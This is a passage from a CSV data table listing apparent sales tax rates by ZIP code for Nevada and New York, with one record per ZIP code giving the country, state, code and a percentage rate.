US-NV-89148,US,NV,89148,8.1,,,, US-NV-89149,US,NV,89149,8.1,,,, US-NV-89150,US,NV,89150,8.1,,,, US-NV-89151,US,NV,89151,8.1,,,, US-NV-89152,US,NV,89152,8.1,,,, US-NV-89153,US,NV,89153,8.1,,,, US-NV-89154,US,NV,89154,8.1,,,, US-NV-89155,US,NV,89155,8.1,,,, US-NV-89156,US,NV,89156,8.1,,,, US-NV-89157,US,NV,89157,8.1,,,, US-NV-89158,US,NV,89158,8.1,,,, US-NV-89159,US,NV,89159,8.1,,,, US-NV-89160,US,NV,89160,8.1,,,, US-NV-89161,US,NV,89161,8.1,,,, US-NV-89162,US,NV,89162,8.1,,,, US-NV-89163,US,NV,89163,8.1,,,, US-NV-89164,US,NV,89164,8.1,,,, US-NV-89165,US,NV,89165,8.1,,,, US-NV-89166,US,NV,89166,8.1,,,, US-NV-89169,US,NV,89169,8.1,,,, US-NV-89170,US,NV,89170,8.1,,,, US-NV-89173,US,NV,89173,8.1,,,, US-NV-89177,US,NV,89177,8.1,,,, US-NV-89178,US,NV,89178,8.1,,,, US-NV-89179,US,NV,89179,8.1,,,, US-NV-89180,US,NV,89180,8.1,,,, US-NV-89183,US,NV,89183,8.1,,,, US-NV-89185,US,NV,89185,8.1,,,, US-NV-89191,US,NV,89191,8.1,,,, US-NV-89193,US,NV,89193,8.1,,,, US-NV-89195,US,NV,89195,8.1,,,, US-NV-89199,US,NV,89199,8.1,,,, US-NV-89301,US,NV,89301,7.725,,,, US-NV-89310,US,NV,89310,7.1,,,, US-NV-89311,US,NV,89311,7.725,,,, US-NV-89314,US,NV,89314,7.1,,,, US-NV-89315,US,NV,89315,7.725,,,, US-NV-89316,US,NV,89316,6.85,,,, US-NV-89317,US,NV,89317,7.725,,,, US-NV-89318,US,NV,89318,7.725,,,, US-NV-89319,US,NV,89319,7.725,,,, US-NV-89402,US,NV,89402,7.725,,,, US-NV-89403,US,NV,89403,7.1,,,, US-NV-89404,US,NV,89404,6.85,,,, US-NV-89405,US,NV,89405,7.725,,,, US-NV-89406,US,NV,89406,7.6,,,, US-NV-89407,US,NV,89407,7.6,,,, US-NV-89408,US,NV,89408,7.1,,,, US-NV-89409,US,NV,89409,7.1,,,, US-NV-89410,US,NV,89410,7.1,,,, US-NV-89411,US,NV,89411,7.1,,,, US-NV-89412,US,NV,89412,7.725,,,, US-NV-89413,US,NV,89413,7.1,,,, US-NV-89414,US,NV,89414,6.85,,,, US-NV-89415,US,NV,89415,6.85,,,, US-NV-89418,US,NV,89418,7.1,,,, US-NV-89419,US,NV,89419,7.1,,,, US-NV-89420,US,NV,89420,6.85,,,, US-NV-89421,US,NV,89421,6.85,,,, US-NV-89422,US,NV,89422,6.85,,,, US-NV-89423,US,NV,89423,7.1,,,, US-NV-89424,US,NV,89424,7.725,,,, US-NV-89425,US,NV,89425,6.85,,,, US-NV-89426,US,NV,89426,6.85,,,, US-NV-89427,US,NV,89427,6.85,,,, US-NV-89428,US,NV,89428,7.1,,,, US-NV-89429,US,NV,89429,7.1,,,, US-NV-89430,US,NV,89430,7.1,,,, US-NV-89431,US,NV,89431,7.725,,,, US-NV-89432,US,NV,89432,7.725,,,, US-NV-89433,US,NV,89433,7.725,,,, US-NV-89434,US,NV,89434,7.725,,,, US-NV-89435,US,NV,89435,7.725,,,, US-NV-89436,US,NV,89436,7.725,,,, US-NV-89438,US,NV,89438,6.85,,,, US-NV-89439,US,NV,89439,7.725,,,, US-NV-89440,US,NV,89440,7.6,,,, US-NV-89441,US,NV,89441,7.725,,,, US-NV-89442,US,NV,89442,7.725,,,, US-NV-89444,US,NV,89444,7.1,,,, US-NV-89445,US,NV,89445,6.85,,,, US-NV-89446,US,NV,89446,6.85,,,, US-NV-89447,US,NV,89447,7.1,,,, US-NV-89448,US,NV,89448,7.1,,,, US-NV-89449,US,NV,89449,7.1,,,, US-NV-89450,US,NV,89450,7.725,,,, US-NV-89451,US,NV,89451,7.725,,,, US-NV-89452,US,NV,89452,7.725,,,, US-NV-89460,US,NV,89460,7.1,,,, US-NV-89496,US,NV,89496,7.6,,,, US-NV-89501,US,NV,89501,7.725,,,, US-NV-89502,US,NV,89502,7.725,,,, US-NV-89503,US,NV,89503,7.725,,,, US-NV-89504,US,NV,89504,7.725,,,, US-NV-89505,US,NV,89505,7.725,,,, US-NV-89506,US,NV,89506,7.725,,,, US-NV-89507,US,NV,89507,7.725,,,, US-NV-89508,US,NV,89508,7.725,,,, US-NV-89509,US,NV,89509,7.725,,,, US-NV-89510,US,NV,89510,7.725,,,, US-NV-89511,US,NV,89511,7.725,,,, US-NV-89512,US,NV,89512,7.725,,,, US-NV-89513,US,NV,89513,7.725,,,, US-NV-89515,US,NV,89515,7.725,,,, US-NV-89519,US,NV,89519,7.725,,,, US-NV-89520,US,NV,89520,7.725,,,, US-NV-89521,US,NV,89521,7.725,,,, US-NV-89523,US,NV,89523,7.725,,,, US-NV-89533,US,NV,89533,7.725,,,, US-NV-89555,US,NV,89555,7.725,,,, US-NV-89557,US,NV,89557,7.725,,,, US-NV-89570,US,NV,89570,7.725,,,, US-NV-89595,US,NV,89595,7.725,,,, US-NV-89599,US,NV,89599,7.725,,,, US-NV-89701,US,NV,89701,7.475,,,, US-NV-89702,US,NV,89702,7.475,,,, US-NV-89703,US,NV,89703,7.475,,,, US-NV-89704,US,NV,89704,7.725,,,, US-NV-89705,US,NV,89705,7.1,,,, US-NV-89706,US,NV,89706,7.475,,,, US-NV-89711,US,NV,89711,7.475,,,, US-NV-89712,US,NV,89712,7.475,,,, US-NV-89713,US,NV,89713,7.475,,,, US-NV-89714,US,NV,89714,7.475,,,, US-NV-89721,US,NV,89721,7.475,,,, US-NV-89801,US,NV,89801,6.85,,,, US-NV-89802,US,NV,89802,6.85,,,, US-NV-89803,US,NV,89803,6.85,,,, US-NV-89815,US,NV,89815,6.85,,,, US-NV-89820,US,NV,89820,7.1,,,, US-NV-89821,US,NV,89821,6.85,,,, US-NV-89822,US,NV,89822,6.85,,,, US-NV-89823,US,NV,89823,6.85,,,, US-NV-89825,US,NV,89825,6.85,,,, US-NV-89826,US,NV,89826,6.85,,,, US-NV-89828,US,NV,89828,6.85,,,, US-NV-89830,US,NV,89830,6.85,,,, US-NV-89831,US,NV,89831,6.85,,,, US-NV-89832,US,NV,89832,6.85,,,, US-NV-89834,US,NV,89834,6.85,,,, US-NV-89835,US,NV,89835,6.85,,,, US-NV-89883,US,NV,89883,6.85,,,, US-NY-00501,US,NY,00501,8.625,,,, US-NY-00544,US,NY,00544,8.625,,,, US-NY-06390,US,NY,06390,8.625,,,, US-NY-10001,US,NY,10001,8.875,,,, US-NY-10002,US,NY,10002,8.875,,,, US-NY-10003,US,NY,10003,8.875,,,, US-NY-10004,US,NY,10004,8.875,,,, US-NY-10005,US,NY,10005,8.875,,,, US-NY-10006,US,NY,10006,8.875,,,, US-NY-10007,US,NY,10007,8.875,,,, US-NY-10008,US,NY,10008,8.875,,,, US-NY-10009,US,NY,10009,8.875,,,, US-NY-10010,US,NY,10010,8.875,,,, US-NY-10011,US,NY,10011,8.875,,,, US-NY-10012,US,NY,10012,8.875,,,, US-NY-10013,US,NY,10013,8.875,,,, US-NY-10014,US,NY,10014,8.875,,,, US-NY-10016,US,NY,10016,8.875,,,, US-NY-10017,US,NY,10017,8.875,,,, US-NY-10018,US,NY,10018,8.875,,,, US-NY-10019,US,NY,10019,8.875,,,, US-NY-10020,US,NY,10020,8.875,,,, US-NY-10021,US,NY,10021,8.875,,,, US-NY-10022,US,NY,10022,8.875,,,, US-NY-10023,US,NY,10023,8.875,,,, US-NY-10024,US,NY,10024,8.875,,,, US-NY-10025,US,NY,10025,8.875,,,, US-NY-10026,US,NY,10026,8.875,,,, US-NY-10027,US,NY,10027,8.875,,,, US-NY-10028,US,NY,10028,8.875,,,, US-NY-10029,US,NY,10029,8.875,,,, US-NY-10030,US,NY,10030,8.875,,,, US-NY-10031,US,NY,10031,8.875,,,, US-NY-10032,US,NY,10032,8.875,,,, US-NY-10033,US,NY,10033,8.875,,,, US-NY-10034,US,NY,10034,8.875,,,, US-NY-10035,US,NY,10035,8.875,,,, US-NY-10036,US,NY,10036,8.875,,,, US-NY-10037,US,NY,10037,8.875,,,, US-NY-10038,US,NY,10038,8.875,,,, US-NY-10039,US,NY,10039,8.875,,,, US-NY-10040,US,NY,10040,8.875,,,, US-NY-10041,US,NY,10041,8.875,,,, US-NY-10043,US,NY,10043,8.875,,,, US-NY-10044,US,NY,10044,8.875,,,, US-NY-10045,US,NY,10045,8.875,,,, US-NY-10055,US,NY,10055,8.875,,,, US-NY-10060,US,NY,10060,8.875,,,, US-NY-10065,US,NY,10065,8.875,,,, US-NY-10069,US,NY,10069,8.875,,,, US-NY-10075,US,NY,10075,8.875,,,, US-NY-10080,US,NY,10080,8.875,,,, US-NY-10081,US,NY,10081,8.875,,,, US-NY-10087,US,NY,10087,8.875,,,, US-NY-10090,US,NY,10090,8.875,,,, US-NY-10095,US,NY,10095,8.875,,,, US-NY-10101,US,NY,10101,8.875,,,, US-NY-10102,US,NY,10102,8.875,,,, US-NY-10103,US,NY,10103,8.875,,,, US-NY-10104,US,NY,10104,8.875,,,, US-NY-10105,US,NY,10105,8.875,,,, US-NY-10106,US,NY,10106,8.875,,,, US-NY-10107,US,NY,10107,8.875,,,, US-NY-10108,US,NY,10108,8.875,,,, US-NY-10109,US,NY,10109,8.875,,,, US-NY-10110,US,NY,10110,8.875,,,, US-NY-10111,US,NY,10111,8.875,,,, US-NY-10112,US,NY,10112,8.875,,,, US-NY-10113,US,NY,10113,8.875,,,, US-NY-10114,US,NY,10114,8.875,,,, US-NY-10115,US,NY,10115,8.875,,,, US-NY-10116,US,NY,10116,8.875,,,, US-NY-10117,US,NY,10117,8.875,,,, US-NY-10118,US,NY,10118,8.875,,,, US-NY-10119,US,NY,10119,8.875,,,, US-NY-10120,US,NY,10120,8.875,,,, US-NY-10121,US,NY,10121,8.875,,,, US-NY-10122,US,NY,10122,8.875,,,, US-NY-10123,US,NY,10123,8.875,,,, US-NY-10124,US,NY,10124,8.875,,,, US-NY-10125,US,NY,10125,8.875,,,, US-NY-10126,US,NY,10126,8.875,,,, US-NY-10128,US,NY,10128,8.875,,,, US-NY-10129,US,NY,10129,8.875,,,, US-NY-10130,US,NY,10130,8.875,,,, US-NY-10131,US,NY,10131,8.875,,,, US-NY-10132,US,NY,10132,8.875,,,, US-NY-10133,US,NY,10133,8.875,,,, US-NY-10138,US,NY,10138,8.875,,,, US-NY-10150,US,NY,10150,8.875,,,, US-NY-10151,US,NY,10151,8.875,,,, US-NY-10152,US,NY,10152,8.875,,,, US-NY-10153,US,NY,10153,8.875,,,, US-NY-10154,US,NY,10154,8.875,,,, US-NY-10155,US,NY,10155,8.875,,,, US-NY-10156,US,NY,10156,8.875,,,, US-NY-10157,US,NY,10157,8.875,,,, US-NY-10158,US,NY,10158,8.875,,,, US-NY-10159,US,NY,10159,8.875,,,, US-NY-10160,US,NY,10160,8.875,,,, US-NY-10161,US,NY,10161,8.875,,,, US-NY-10162,US,NY,10162,8.875,,,, US-NY-10163,US,NY,10163,8.875,,,, US-NY-10164,US,NY,10164,8.875,,,, US-NY-10165,US,NY,10165,8.875,,,, US-NY-10166,US,NY,10166,8.875,,,, US-NY-10167,US,NY,10167,8.875,,,, US-NY-10168,US,NY,10168,8.875,,,, US-NY-10169,US,NY,10169,8.875,,,, US-NY-10170,US,NY,10170,8.875,,,, US-NY-10171,US,NY,10171,8.875,,,, US-NY-10172,US,NY,10172,8.875,,,, US-NY-10173,US,NY,10173,8.875,,,, US-NY-10174,US,NY,10174,8.875,,,, US-NY-10175,US,NY,10175,8.875,,,, US-NY-10176,US,NY,10176,8.875,,,, US-NY-10177,US,NY,10177,8.875,,,, US-NY-10178,US,NY,10178,8.875,,,, US-NY-10179,US,NY,10179,8.875,,,, US-NY-10185,US,NY,10185,8.875,,,, US-NY-10199,US,NY,10199,8.875,,,, US-NY-10203,US,NY,10203,8.875,,,, US-NY-10211,US,NY,10211,8.875,,,, US-NY-10212,US,NY,10212,8.875,,,, US-NY-10213,US,NY,10213,8.875,,,, US-NY-10242,US,NY,10242,8.875,,,, US-NY-10249,US,NY,10249,8.875,,,, US-NY-10256,US,NY,10256,8.875,,,, US-NY-10257,US,NY,10257,8.875,,,, US-NY-10258,US,NY,10258,8.875,,,, US-NY-10259,US,NY,10259,8.875,,,, US-NY-10260,US,NY,10260,8.875,,,, US-NY-10261,US,NY,10261,8.875,,,, US-NY-10265,US,NY,10265,8.875,,,, US-NY-10268,US,NY,10268,8.875,,,, US-NY-10269,US,NY,10269,8.875,,,, US-NY-10270,US,NY,10270,8.875,,,, US-NY-10271,US,NY,10271,8.875,,,, US-NY-10272,US,NY,10272,8.875,,,, US-NY-10273,US,NY,10273,8.875,,,, US-NY-10274,US,NY,10274,8.875,,,, US-NY-10275,US,NY,10275,8.875,,,, US-NY-10276,US,NY,10276,8.875,,,, US-NY-10277,US,NY,10277,8.875,,,, US-NY-10278,US,NY,10278,8.875,,,, US-NY-10279,US,NY,10279,8.875,,,, US-NY-10280,US,NY,10280,8.875,,,, US-NY-10281,US,NY,10281,8.875,,,, US-NY-10282,US,NY,10282,8.875,,,, US-NY-10285,US,NY,10285,8.875,,,, US-NY-10286,US,NY,10286,8.875,,,, US-NY-10292,US,NY,10292,8.875,,,, US-NY-10301,US,NY,10301,8.875,,,, US-NY-10302,US,NY,10302,8.875,,,, US-NY-10303,US,NY,10303,8.875,,,, US-NY-10304,US,NY,10304,8.875,,,, US-NY-10305,US,NY,10305,8.875,,,, US-NY-10306,US,NY,10306,8.875,,,, US-NY-10307,US,NY,10307,8.875,,,, US-NY-10308,US,NY,10308,8.875,,,, US-NY-10309,US,NY,10309,8.875,,,, US-NY-10310,US,NY,10310,8.875,,,, US-NY-10311,US,NY,10311,8.875,,,, US-NY-10312,US,NY,10312,8.875,,,, US-NY-10313,US,NY,10313,8.875,,,, US-NY-10314,US,NY,10314,8.875,,,, US-NY-10451,US,NY,10451,8.875,,,, US-NY-10452,US,NY,10452,8.875,,,, US-NY-10453,US,NY,10453,8.875,,,, US-NY-10454,US,NY,10454,8.875,,,, US-NY-10455,US,NY,10455,8.875,,,, US-NY-10456,US,NY,10456,8.875,,,, US-NY-10457,US,NY,10457,8.875,,,, US-NY-10458,US,NY,10458,8.875,,,, US-NY-10459,US,NY,10459,8.875,,,, US-NY-10460,US,NY,10460,8.875,,,, US-NY-10461,US,NY,10461,8.875,,,, US-NY-10462,US,NY,10462,8.875,,,, US-NY-10463,US,NY,10463,8.875,,,, US-NY-10464,US,NY,10464,8.875,,,, US-NY-10465,US,NY,10465,8.875,,,, US-NY-10466,US,NY,10466,8.875,,,, US-NY-10467,US,NY,10467,8.875,,,, US-NY-10468,US,NY,10468,8.875,,,, US-NY-10469,US,NY,10469,8.875,,,, US-NY-10470,US,NY,10470,8.875,,,, US-NY-10471,US,NY,10471,8.875,,,, US-NY-10472,US,NY,10472,8.875,,,, US-NY-10473,US,NY,10473,8.875,,,, US-NY-10474,US,NY,10474,8.875,,,, US-NY-10475,US,NY,10475,8.875,,,, US-NY-10499,US,NY,10499,8.875,,,, US-NY-10501,US,NY,10501,7.375,,,, US-NY-10502,US,NY,10502,7.375,,,, US-NY-10503,US,NY,10503,7.375,,,, US-NY-10504,US,NY,10504,7.375,,,, US-NY-10505,US,NY,10505,7.375,,,, US-NY-10506,US,NY,10506,7.375,,,, US-NY-10507,US,NY,10507,7.375,,,, US-NY-10509,US,NY,10509,8.375,,,, US-NY-10510,US,NY,10510,7.375,,,, US-NY-10511,US,NY,10511,7.375,,,, US-NY-10512,US,NY,10512,8.375,,,, US-NY-10514,US,NY,10514,7.375,,,, US-NY-10516,US,NY,10516,8.375,,,, US-NY-10517,US,NY,10517,7.375,,,, US-NY-10518,US,NY,10518,7.375,,,, US-NY-10519,US,NY,10519,7.375,,,, US-NY-10520,US,NY,10520,7.375,,,, US-NY-10521,US,NY,10521,7.375,,,, US-NY-10522,US,NY,10522,7.375,,,, US-NY-10523,US,NY,10523,7.375,,,, US-NY-10524,US,NY,10524,8.375,,,, US-NY-10526,US,NY,10526,7.375,,,, US-NY-10527,US,NY,10527,7.375,,,, US-NY-10528,US,NY,10528,7.375,,,, US-NY-10530,US,NY,10530,7.375,,,, US-NY-10532,US,NY,10532,7.375,,,, US-NY-10533,US,NY,10533,7.375,,,, US-NY-10535,US,NY,10535,7.375,,,, US-NY-10536,US,NY,10536,7.375,,,, US-NY-10537,US,NY,10537,8.375,,,, US-NY-10538,US,NY,10538,7.375,,,, US-NY-10540,US,NY,10540,7.375,,,, US-NY-10541,US,NY,10541,8.375,,,, US-NY-10542,US,NY,10542,8.375,,,, US-NY-10543,US,NY,10543,7.375,,,, US-NY-10545,US,NY,10545,7.375,,,, US-NY-10546,US,NY,10546,7.375,,,, US-NY-10547,US,NY,10547,7.375,,,, US-NY-10548,US,NY,10548,7.375,,,, US-NY-10549,US,NY,10549,7.375,,,, US-NY-10550,US,NY,10550,8.375,,,, US-NY-10551,US,NY,10551,8.375,,,, US-NY-10552,US,NY,10552,8.375,,,, US-NY-10553,US,NY,10553,8.375,,,, US-NY-10560,US,NY,10560,7.375,,,, US-NY-10562,US,NY,10562,7.375,,,, US-NY-10566,US,NY,10566,7.375,,,, US-NY-10567,US,NY,10567,7.375,,,, US-NY-10570,US,NY,10570,7.375,,,, US-NY-10573,US,NY,10573,7.375,,,, US-NY-10576,US,NY,10576,7.375,,,, US-NY-10577,US,NY,10577,7.375,,,, US-NY-10578,US,NY,10578,7.375,,,, US-NY-10579,US,NY,10579,8.375,,,, US-NY-10580,US,NY,10580,7.375,,,, US-NY-10583,US,NY,10583,7.375,,,, US-NY-10587,US,NY,10587,7.375,,,, US-NY-10588,US,NY,10588,7.375,,,, US-NY-10589,US,NY,10589,7.375,,,, US-NY-10590,US,NY,10590,7.375,,,, US-NY-10591,US,NY,10591,7.375,,,, US-NY-10594,US,NY,10594,7.375,,,, US-NY-10595,US,NY,10595,7.375,,,, US-NY-10596,US,NY,10596,7.375,,,, US-NY-10597,US,NY,10597,7.375,,,, US-NY-10598,US,NY,10598,7.375,,,, US-NY-10601,US,NY,10601,8.375,,,, US-NY-10602,US,NY,10602,8.375,,,, US-NY-10603,US,NY,10603,7.375,,,, US-NY-10604,US,NY,10604,7.375,,,, US-NY-10605,US,NY,10605,8.375,,,, US-NY-10606,US,NY,10606,8.375,,,, US-NY-10607,US,NY,10607,7.375,,,, US-NY-10610,US,NY,10610,8.375,,,, US-NY-10701,US,NY,10701,8.375,,,, US-NY-10702,US,NY,10702,8.375,,,, US-NY-10703,US,NY,10703,8.375,,,, US-NY-10704,US,NY,10704,8.375,,,, US-NY-10705,US,NY,10705,8.375,,,, US-NY-10706,US,NY,10706,7.375,,,, US-NY-10707,US,NY,10707,7.375,,,, US-NY-10708,US,NY,10708,8.375,,,, US-NY-10709,US,NY,10709,7.375,,,, US-NY-10710,US,NY,10710,8.375,,,, US-NY-10801,US,NY,10801,8.375,,,, US-NY-10802,US,NY,10802,8.375,,,, US-NY-10803,US,NY,10803,7.375,,,, US-NY-10804,US,NY,10804,8.375,,,, US-NY-10805,US,NY,10805,8.375,,,, US-NY-10901,US,NY,10901,8.375,,,, US-NY-10910,US,NY,10910,8.125,,,, US-NY-10911,US,NY,10911,8.125,,,, US-NY-10912,US,NY,10912,8.125,,,, US-NY-10913,US,NY,10913,8.375,,,, US-NY-10914,US,NY,10914,8.125,,,, US-NY-10915,US,NY,10915,8.125,,,, US-NY-10916,US,NY,10916,8.125,,,, US-NY-10917,US,NY,10917,8.125,,,, US-NY-10918,US,NY,10918,8.125,,,, US-NY-10919,US,NY,10919,8.125,,,, US-NY-10920,US,NY,10920,8.375,,,, US-NY-10921,US,NY,10921,8.125,,,, US-NY-10922,US,NY,10922,8.125,,,, US-NY-10923,US,NY,10923,8.375,,,, US-NY-10924,US,NY,10924,8.125,,,, US-NY-10925,US,NY,10925,8.125,,,, US-NY-10926,US,NY,10926,8.125,,,, US-NY-10927,US,NY,10927,8.375,,,, US-NY-10928,US,NY,10928,8.125,,,, US-NY-10930,US,NY,10930,8.125,,,, US-NY-10931,US,NY,10931,8.375,,,, US-NY-10932,US,NY,10932,8.125,,,, US-NY-10933,US,NY,10933,8.125,,,, US-NY-10940,US,NY,10940,8.125,,,, US-NY-10941,US,NY,10941,8.125,,,, US-NY-10949,US,NY,10949,8.125,,,, US-NY-10950,US,NY,10950,8.125,,,, US-NY-10952,US,NY,10952,8.375,,,, US-NY-10953,US,NY,10953,8.125,,,, US-NY-10954,US,NY,10954,8.375,,,, US-NY-10956,US,NY,10956,8.375,,,, US-NY-10958,US,NY,10958,8.125,,,, US-NY-10959,US,NY,10959,8.125,,,, US-NY-10960,US,NY,10960,8.375,,,, US-NY-10962,US,NY,10962,8.375,,,, US-NY-10963,US,NY,10963,8.125,,,, US-NY-10964,US,NY,10964,8.375,,,, US-NY-10965,US,NY,10965,8.375,,,, US-NY-10968,US,NY,10968,8.375,,,, US-NY-10969,US,NY,10969,8.125,,,, US-NY-10970,US,NY,10970,8.375,,,, US-NY-10973,US,NY,10973,8.125,,,, US-NY-10974,US,NY,10974,8.375,,,, US-NY-10975,US,NY,10975,8.125,,,, US-NY-10976,US,NY,10976,8.375,,,, US-NY-10977,US,NY,10977,8.375,,,, US-NY-10979,US,NY,10979,8.125,,,, US-NY-10980,US,NY,10980,8.375,,,, US-NY-10981,US,NY,10981,8.125,,,, US-NY-10982,US,NY,10982,8.375,,,, US-NY-10983,US,NY,10983,8.375,,,, US-NY-10984,US,NY,10984,8.375,,,, US-NY-10985,US,NY,10985,8.125,,,, US-NY-10986,US,NY,10986,8.375,,,, US-NY-10987,US,NY,10987,8.125,,,, US-NY-10988,US,NY,10988,8.125,,,, US-NY-10989,US,NY,10989,8.375,,,, US-NY-10990,US,NY,10990,8.125,,,, US-NY-10992,US,NY,10992,8.125,,,, US-NY-10993,US,NY,10993,8.375,,,, US-NY-10994,US,NY,10994,8.375,,,, US-NY-10996,US,NY,10996,8.125,,,, US-NY-10997,US,NY,10997,8.125,,,, US-NY-10998,US,NY,10998,8.125,,,, US-NY-11001,US,NY,11001,8.625,,,, US-NY-11002,US,NY,11002,8.625,,,, US-NY-11003,US,NY,11003,8.625,,,, US-NY-11004,US,NY,11004,8.875,,,, US-NY-11005,US,NY,11005,8.875,,,, US-NY-11010,US,NY,11010,8.625,,,, US-NY-11020,US,NY,11020,8.625,,,, US-NY-11021,US,NY,11021,8.625,,,, US-NY-11022,US,NY,11022,8.625,,,, US-NY-11023,US,NY,11023,8.625,,,, US-NY-11024,US,NY,11024,8.625,,,, US-NY-11026,US,NY,11026,8.625,,,, US-NY-11027,US,NY,11027,8.625,,,, US-NY-11030,US,NY,11030,8.625,,,, US-NY-11040,US,NY,11040,8.625,,,, US-NY-11042,US,NY,11042,8.625,,,, US-NY-11050,US,NY,11050,8.625,,,, US-NY-11051,US,NY,11051,8.625,,,, US-NY-11052,US,NY,11052,8.625,,,, US-NY-11053,US,NY,11053,8.625,,,, US-NY-11054,US,NY,11054,8.625,,,, US-NY-11055,US,NY,11055,8.625,,,, US-NY-11096,US,NY,11096,8.625,,,, US-NY-11101,US,NY,11101,8.875,,,, US-NY-11102,US,NY,11102,8.875,,,, US-NY-11103,US,NY,11103,8.875,,,, US-NY-11104,US,NY,11104,8.875,,,, US-NY-11105,US,NY,11105,8.875,,,, US-NY-11106,US,NY,11106,8.875,,,, US-NY-11109,US,NY,11109,8.875,,,, US-NY-11120,US,NY,11120,8.875,,,, US-NY-11201,US,NY,11201,8.875,,,, US-NY-11202,US,NY,11202,8.875,,,, US-NY-11203,US,NY,11203,8.875,,,, US-NY-11204,US,NY,11204,8.875,,,, US-NY-11205,US,NY,11205,8.875,,,, US-NY-11206,US,NY,11206,8.875,,,, US-NY-11207,US,NY,11207,8.875,,,, US-NY-11208,US,NY,11208,8.875,,,, US-NY-11209,US,NY,11209,8.875,,,, US-NY-11210,US,NY,11210,8.875,,,, US-NY-11211,US,NY,11211,8.875,,,, US-NY-11212,US,NY,11212,8.875,,,, US-NY-11213,US,NY,11213,8.875,,,, US-NY-11214,US,NY,11214,8.875,,,, US-NY-11215,US,NY,11215,8.875,,,, US-NY-11216,US,NY,11216,8.875,,,, US-NY-11217,US,NY,11217,8.875,,,, US-NY-11218,US,NY,11218,8.875,,,, US-NY-11219,US,NY,11219,8.875,,,, US-NY-11220,US,NY,11220,8.875,,,, US-NY-11221,US,NY,11221,8.875,,,, US-NY-11222,US,NY,11222,8.875,,,, US-NY-11223,US,NY,11223,8.875,,,, US-NY-11224,US,NY,11224,8.875,,,, US-NY-11225,US,NY,11225,8.875,,,, US-NY-11226,US,NY,11226,8.875,,,, US-NY-11228,US,NY,11228,8.875,,,, US-NY-11229,US,NY,11229,8.875,,,, US-NY-11230,US,NY,11230,8.875,,,, US-NY-11231,US,NY,11231,8.875,,,, US-NY-11232,US,NY,11232,8.875,,,, US-NY-11233,US,NY,11233,8.875,,,, US-NY-11234,US,NY,11234,8.875,,,, US-NY-11235,US,NY,11235,8.875,,,, US-NY-11236,US,NY,11236,8.875,,,, US-NY-11237,US,NY,11237,8.875,,,, US-NY-11238,US,NY,11238,8.875,,,, US-NY-11239,US,NY,11239,8.875,,,, US-NY-11241,US,NY,11241,8.875,,,, US-NY-11242,US,NY,11242,8.875,,,, US-NY-11243,US,NY,11243,8.875,,,, US-NY-11245,US,NY,11245,8.875,,,, US-NY-11247,US,NY,11247,8.875,,,, US-NY-11249,US,NY,11249,8.875,,,, US-NY-11252,US,NY,11252,8.875,,,, US-NY-11256,US,NY,11256,8.875,,,, US-NY-11351,US,NY,11351,8.875,,,, US-NY-11352,US,NY,11352,8.875,,,, US-NY-11354,US,NY,11354,8.875,,,, US-NY-11355,US,NY,11355,8.875,,,, US-NY-11356,US,NY,11356,8.875,,,, US-NY-11357,US,NY,11357,8.875,,,, US-NY-11358,US,NY,11358,8.875,,,, US-NY-11359,US,NY,11359,8.875,,,, US-NY-11360,US,NY,11360,8.875,,,, US-NY-11361,US,NY,11361,8.875,,,, US-NY-11362,US,NY,11362,8.875,,,, US-NY-11363,US,NY,11363,8.875,,,, US-NY-11364,US,NY,11364,8.875,,,, US-NY-11365,US,NY,11365,8.875,,,, US-NY-11366,US,NY,11366,8.875,,,, US-NY-11367,US,NY,11367,8.875,,,, US-NY-11368,US,NY,11368,8.875,,,, US-NY-11369,US,NY,11369,8.875,,,, US-NY-11370,US,NY,11370,8.875,,,, US-NY-11371,US,NY,11371,8.875,,,, US-NY-11372,US,NY,11372,8.875,,,, US-NY-11373,US,NY,11373,8.875,,,, US-NY-11374,US,NY,11374,8.875,,,, US-NY-11375,US,NY,11375,8.875,,,, US-NY-11377,US,NY,11377,8.875,,,, US-NY-11378,US,NY,11378,8.875,,,, US-NY-11379,US,NY,11379,8.875,,,, US-NY-11380,US,NY,11380,8.875,,,, US-NY-11381,US,NY,11381,8.875,,,, US-NY-11385,US,NY,11385,8.875,,,, US-NY-11386,US,NY,11386,8.875,,,, US-NY-11405,US,NY,11405,8.875,,,, US-NY-11411,US,NY,11411,8.875,,,, US-NY-11412,US,NY,11412,8.875,,,, US-NY-11413,US,NY,11413,8.875,,,, US-NY-11414,US,NY,11414,8.875,,,, US-NY-11415,US,NY,11415,8.875,,,, US-NY-11416,US,NY,11416,8.875,,,, US-NY-11417,US,NY,11417,8.875,,,, US-NY-11418,US,NY,11418,8.875,,,, US-NY-11419,US,NY,11419,8.875,,,, US-NY-11420,US,NY,11420,8.875,,,, US-NY-11421,US,NY,11421,8.875,,,, US-NY-11422,US,NY,11422,8.875,,,, US-NY-11423,US,NY,11423,8.875,,,, US-NY-11424,US,NY,11424,8.875,,,, US-NY-11425,US,NY,11425,8.875,,,, US-NY-11426,US,NY,11426,8.875,,,, US-NY-11427,US,NY,11427,8.875,,,, US-NY-11428,US,NY,11428,8.875,,,, US-NY-11429,US,NY,11429,8.875,,,, US-NY-11430,US,NY,11430,8.875,,,, US-NY-11431,US,NY,11431,8.875,,,, US-NY-11432,US,NY,11432,8.875,,,, US-NY-11433,US,NY,11433,8.875,,,, US-NY-11434,US,NY,11434,8.875,,,, US-NY-11435,US,NY,11435,8.875,,,, US-NY-11436,US,NY,11436,8.875,,,, US-NY-11439,US,NY,11439,8.875,,,, US-NY-11451,US,NY,11451,8.875,,,, US-NY-11499,US,NY,11499,8.875,,,, US-NY-11501,US,NY,11501,8.625,,,, US-NY-11507,US,NY,11507,8.625,,,, US-NY-11509,US,NY,11509,8.625,,,, US-NY-11510,US,NY,11510,8.625,,,, US-NY-11514,US,NY,11514,8.625,,,, US-NY-11516,US,NY,11516,8.625,,,, US-NY-11518,US,NY,11518,8.625,,,, US-NY-11520,US,NY,11520,8.625,,,, US-NY-11530,US,NY,11530,8.625,,,, US-NY-11531,US,NY,11531,8.625,,,, US-NY-11542,US,NY,11542,8.625,,,, US-NY-11545,US,NY,11545,8.625,,,, US-NY-11547,US,NY,11547,8.625,,,, US-NY-11548,US,NY,11548,8.625,,,, US-NY-11549,US,NY,11549,8.625,,,, US-NY-11550,US,NY,11550,8.625,,,, US-NY-11551,US,NY,11551,8.625,,,, US-NY-11552,US,NY,11552,8.625,,,, US-NY-11553,US,NY,11553,8.625,,,, US-NY-11554,US,NY,11554,8.625,,,, US-NY-11555,US,NY,11555,8.625,,,, US-NY-11556,US,NY,11556,8.625,,,, US-NY-11557,US,NY,11557,8.625,,,, US-NY-11558,US,NY,11558,8.625,,,, US-NY-11559,US,NY,11559,8.625,,,, US-NY-11560,US,NY,11560,8.625,,,, 